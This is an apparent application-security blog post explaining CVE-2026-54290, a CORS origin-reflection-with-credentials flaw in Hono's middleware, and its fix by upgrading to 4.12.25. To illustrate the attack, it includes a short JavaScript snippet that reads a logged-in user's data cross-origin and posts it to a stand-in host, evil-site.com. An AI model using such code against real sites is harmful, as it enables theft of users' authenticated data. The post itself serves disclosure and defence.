Back to Blog
high SEVERITY5 min read

How CORS credential reflection happens in Hono middleware and how to fix it

A high-severity CORS misconfiguration in Hono's middleware (CVE-2026-54290) allowed any origin to be reflected with credentials when the `origin` option defaulted to wildcard. This vulnerability in the studio frontend could enable attackers to steal authenticated user data through cross-origin requests. The fix upgrades Hono from 4.12.21 to 4.12.25, which properly handles CORS origin validation.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published June 29, 2026•Reviewed June 29, 2026

Answer Summary

CVE-2026-54290 is a CORS credential reflection vulnerability in the Hono web framework for JavaScript/TypeScript. When the CORS middleware's `origin` option defaults to wildcard (`*`), it incorrectly reflects any requesting origin while also sending credentials, violating the Same-Origin Policy. The fix is to upgrade Hono to version 4.12.25 or later, which properly validates origins before reflecting them with credentials.

Vulnerability at a Glance

cweCWE-346 (Origin Validation Error)
fixUpgrade Hono from 4.12.21 to 4.12.25
riskCross-origin data theft via credential reflection
languageJavaScript/TypeScript (Node.js)
root causeHono CORS middleware reflects any origin with credentials when origin defaults to wildcard
vulnerabilityCORS Origin Reflection with Credentials

Introduction

In the studio frontend application, a high-severity vulnerability was discovered in the studio/frontend/package-lock.json dependency manifest. The Hono web framework version 4.12.21 contained a critical flaw in its CORS middleware that could expose authenticated users to cross-origin attacks.

This isn't just a theoretical concern—the vulnerability (CVE-2026-54290) allows any malicious website to make authenticated requests to the affected application and steal sensitive data. For a studio frontend that likely handles user sessions and potentially sensitive creative assets, this represents a serious security risk.

The Vulnerability Explained

What Went Wrong in Hono's CORS Middleware

Hono is a lightweight, ultrafast web framework popular for building APIs and web applications. Its CORS middleware is designed to handle Cross-Origin Resource Sharing headers, which control how browsers allow cross-origin requests.

The vulnerability exists in how Hono's CORS middleware handles the default configuration. When developers don't explicitly set the origin option, it defaults to a wildcard (*). However, the middleware was incorrectly reflecting the requesting origin in the Access-Control-Allow-Origin response header while simultaneously setting Access-Control-Allow-Credentials: true.

This combination is dangerous because:

  1. Wildcard origins cannot be used with credentials according to the CORS specification
  2. Reflecting arbitrary origins allows any website to make credentialed requests
  3. The browser trusts the response and includes cookies/authentication headers

The Attack Scenario

Consider this attack against the studio frontend:

// Attacker's malicious website: evil-site.com
fetch('https://studio-app.example.com/api/user/data', {
  credentials: 'include',  // Send cookies
  method: 'GET'
})
.then(response => response.json())
.then(data => {
  // Attacker now has the victim's data
  fetch('https://evil-site.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});

When a logged-in user visits the attacker's site, their browser would:
1. Send a request to the studio app with their session cookies
2. Receive a response with Access-Control-Allow-Origin: https://evil-site.com
3. Receive Access-Control-Allow-Credentials: true
4. Allow the malicious JavaScript to read the response

The attacker could steal user data, session tokens, or any information accessible to the authenticated user.

Why This Matters for CLI Tools

The PR notes this is a CLI tool, meaning exploitation requires the attacker to control arguments or input files. However, the frontend component (studio/frontend) likely serves a web interface for the CLI tool, making browser-based attacks relevant when users access the studio through a web browser.

The Fix

Upgrading Hono to 4.12.25

The fix upgrades Hono from version 4.12.21 to 4.12.25, which properly handles CORS origin validation. The changes appear in studio/frontend/package-lock.json and studio/frontend/package.json.

Before (vulnerable):

{
  "hono": "4.12.21"
}

After (fixed):

{
  "hono": "4.12.25"
}

What Changed in Hono 4.12.25

The patched version of Hono's CORS middleware now:

  1. Properly validates origins before reflecting them
  2. Prevents wildcard + credentials combination at the middleware level
  3. Requires explicit origin configuration when credentials are enabled

The diff also shows additional changes to peer dependency declarations for various platform-specific packages (@rollup/rollup-android-arm64, @rollup/rollup-darwin-arm64, etc.), adding "peer": true to ensure proper dependency resolution. These changes ensure the package-lock.json accurately reflects the dependency tree after the upgrade.

Code Changes in the Diff

The visible portion of the diff shows modifications to platform-specific Rollup packages:

"os": [
  "android"
],
"peer": true,  // Added
"engines": {
  "node": ">= 10"
}

These peer dependency additions across multiple platform packages (android-arm64, darwin-arm64, darwin-x64, linux variants, win32 variants) are side effects of the npm dependency resolution when upgrading Hono. The critical security fix is the Hono version bump itself.

Key Takeaways

  • Hono versions before 4.12.25 have a CORS middleware flaw that reflects any origin with credentials
  • The studio/frontend component was vulnerable to cross-origin data theft through this misconfiguration
  • Dependency scanning with Trivy caught this vulnerability in the package-lock.json before it could be exploited
  • Always explicitly configure CORS origins rather than relying on framework defaults
  • CLI tools with web frontends still need browser security protections like proper CORS configuration

How Orbis AppSec Detected This

  • Source: The Hono CORS middleware receiving cross-origin requests with the Origin header
  • Sink: The Access-Control-Allow-Origin response header reflecting arbitrary origins with Access-Control-Allow-Credentials: true
  • Missing control: Proper origin validation before reflecting the origin in CORS responses
  • CWE: CWE-346 (Origin Validation Error)
  • Fix: Upgraded Hono from 4.12.21 to 4.12.25, which properly validates origins before reflecting them with credentials

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-54290 demonstrates how a subtle misconfiguration in CORS middleware can create serious security vulnerabilities. The Hono framework's default behavior of reflecting any origin with credentials violated fundamental browser security principles and could have allowed attackers to steal authenticated user data from the studio frontend.

The fix—upgrading to Hono 4.12.25—is straightforward, but the lesson is clear: always explicitly configure security-sensitive middleware options, keep dependencies updated, and use automated scanning to catch vulnerabilities before they reach production.

Prevention and further reading

Related Articles

critical

Lampa Desktop Auto-Update Heuristic Bypass: Execution of Unverified

Lampa Desktop's auto-update mechanism downloaded JavaScript and CSS from `raw.githubusercontent.com` using only heuristic validation—file size thresholds and string pattern matching—that attackers could trivially satisfy. The fix introduces cryptographic integrity verification by cross-referencing Git blob hashes from the GitHub Contents API, ensuring downloaded code matches the repository's authoritative state before execution.

high

adm-zip 0.6.0 Preserves SUID Bits From ZIPs: CVE-2026-102282

The `adm-zip` dependency resolved to 0.6.0 in this project's dependency tree, a version affected by CVE-2026-102282: during extraction it applies the Unix permission bits stored in each ZIP entry's external file attributes verbatim, including the setuid (`04000`), setgid (`02000`), and sticky bits. An attacker who controls an archive passed to `extractAllTo()` or `extractEntryTo()` can therefore have the extractor create a setuid binary owned by whatever user the extraction process runs as. The

high

requestInput() Type Confusion: NaN and Object Bypass in JavaScript

The `requestInput()` utility function lacked validation on its `type` parameter and failed to handle `NaN` results from float conversions, creating a type confusion weakness. An attacker could supply malformed inputs that propagate unhandled `NaN` values or unexpected object types through the type system. The fix adds explicit guards against `NaN` type parameters and rejects non-primitive type values.

critical

No Rate Limit on /api/uploads/presign Enables DoS

The `/api/uploads/presign` endpoint accepted unlimited concurrent requests to generate storage presigned URLs, giving an attacker a free lever to exhaust storage-provider quotas and server resources. The fix adds an `express-rate-limit` middleware capping each client to 30 requests per minute on that route.

high

CVE-2026-54673: builder-util-runtime Leaks Auth Headers on Redirect

electron-updater and electron-builder rely on builder-util-runtime to fetch update manifests and artifacts over HTTP. A flaw in that shared HTTP executor allowed credential headers attached to the original update-feed request to be re-sent after a redirect, exposing them to any host the redirect pointed to. The project fixes this by upgrading builder-util-runtime to 9.7.0 and collapsing a duplicate, older copy of the package that electron-updater had pinned on its own.

high

image-size 1.2.1 DoS: Zero-Valued Dimensions in Image Buffer Parser

A high-severity denial-of-service vulnerability in image-size 1.2.1 allows attackers to crash Node.js services using malicious image buffers with zero-valued dimensions. The fix removes the vulnerable `queue` dependency and tightens dimension validation in version 2.0.3.